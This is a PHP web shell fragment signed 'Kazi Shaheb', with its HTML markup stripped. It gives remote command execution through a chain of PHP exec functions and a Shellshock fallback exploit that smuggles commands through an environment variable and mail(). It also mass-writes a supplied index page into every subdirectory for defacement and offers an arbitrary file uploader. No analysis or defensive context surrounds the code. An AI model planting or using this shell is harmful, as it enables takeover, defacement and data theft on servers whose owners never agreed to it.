./"; echo ""; echo""; $server=$_SERVER['SERVER_ADDR']; echo "Server IP : ".$server; $software=$_SERVER['SERVER_SOFTWARE']; echo "
Software:".$software; echo "
"; echo "Base Dir :

"; echo "File Name :

"; echo "Your Index :

"; echo "
"; if (isset ($_POST['base_dir'])) { if (!file_exists ($_POST['base_dir'])) die ($_POST['base_dir']." Not Found !
"); if (!is_dir ($_POST['base_dir'])) die ($_POST['base_dir']." Is Not A Directory !
"); @chdir ($_POST['base_dir']) or die ("Cannot Open Directory"); $files = @scandir ($_POST['base_dir']) or die ("oohhh shet
"); foreach ($files as $file): if ($file != "." && $file != ".." && @filetype ($file) == "dir") { $index = getcwd ()."/".$file."/".$_POST['file_name']; if (file_put_contents ($index, $_POST['index'])) echo "$index    OK
"; } endforeach; } //Execute echo'
Command:
'; if(!empty($_POST['Command'])) { $cmd = trim($_POST['Command']); echo''; echo'
'; } function m4Ex($in) { $out = ''; if (function_exists('exec')) { @exec($in,$out); $out = @join("\n",$out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f,1024); pclose($f); } else { $out = shellshock($in); } return $out; } function shellshock($cmd) { if(strstr(readlink("/bin/sh"), "bash") != FALSE) { $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); mail("a@127.0.0.1","","","","-bv"); } else return "Not vuln (not bash)"; $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } // Uploader echo '

'; echo'
'; if($_POST['_upl']=="Upload"){ if (@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])){echo'

Uploaded successful !!

';} else {echo'

Not uploaded !!

';} } echo "
© Kazi Shaheb☻
"; echo ""; ?>